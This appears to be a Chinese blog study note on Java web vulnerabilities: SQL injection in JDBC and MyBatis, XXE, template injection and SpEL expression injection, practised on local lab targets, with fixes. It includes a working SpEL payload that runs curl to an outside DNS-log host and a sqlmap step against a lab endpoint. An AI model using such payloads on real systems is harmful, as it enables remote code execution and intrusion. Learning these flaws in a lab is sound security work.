第66天:漏洞利用-JAVA安全&SPEL表达式&SSTI模板注入&XXE&JDBC&Mybatis注入

第66天:漏洞利用-JAVA安全&SPEL表达式&SSTI模板注入&XXE&JDBC&Mybatis注入
Yatming的博客两个靶场的搭建:就是配置好一下数据库,重新打包一下,然后将sql文件导入之后就行
1 | 两个靶场的项目地址: |
SQL注入
JDBC
右边的代码,对应的是这种写法的安全模式,如果你非要使用变量的方式,需要有黑或者白名单进行过滤
Mybatis
1 | mybatis支持两种参数符号,一种是#,另外一种是$,#使用预编译,$使用拼接sql。 |
安全写法:SQL语句占位符(?)+ PrepareStatement
预编译
本地CMS演示
首先修改配置文件。然后配置一下中间件tomcat
如果报错了,就更改一下版本。修改项目结构:
这里要注意修改对应的端口。
访问后台:
账号密码:admin\111111
找到对应的功能点:
1 | http://127.0.0.1:9000/admin/article/delete |
执行删除操作,抓取数据包。
直接sqlmap梭哈
可以看到确实有注入点。
XXE
1 | /** |
但是我这里不行,不知道为啥。
SSTI
还是报错,我的环境是搭建在linux上,然后这里我把命令改成whoami都不行。
这里我用dnslog带外测试成功。虽然还是报错,但是可以正常执行带外命令,说明命令执行了。
SPEL
可以简单理解为php中的代码执行(eval)
同样是因为环境,用dnslog带外:
1 | T(java.lang.Runtime).getRuntime().exec("curl 5yj8ow.dnslog.cn") |
SPEL表达式注入思路
1、通过maven,全局搜索一下 org.springframework.expression.spel.standard
2、搜索关键字 SpelExpressionParser 创造SPEL表达式对象的
3、再看看有没getValue(),SPEL表达式执行函数
4、有没有可控参数
漏洞修复
放弃使用 standarEvaluationContext ,权限太大了。
SimpleEvaluationContext 旨在仅支持 SpEL 语言语法的一个子集。它不包括 Java 类型引用,构造函数和 bean 引用。
各类靶场
1 | https://blog.csdn.net/Python_0011/article/details/133759740 |
评论
匿名评论隐私政策
✅ 你无需删除空行,直接评论以获取最佳展示效果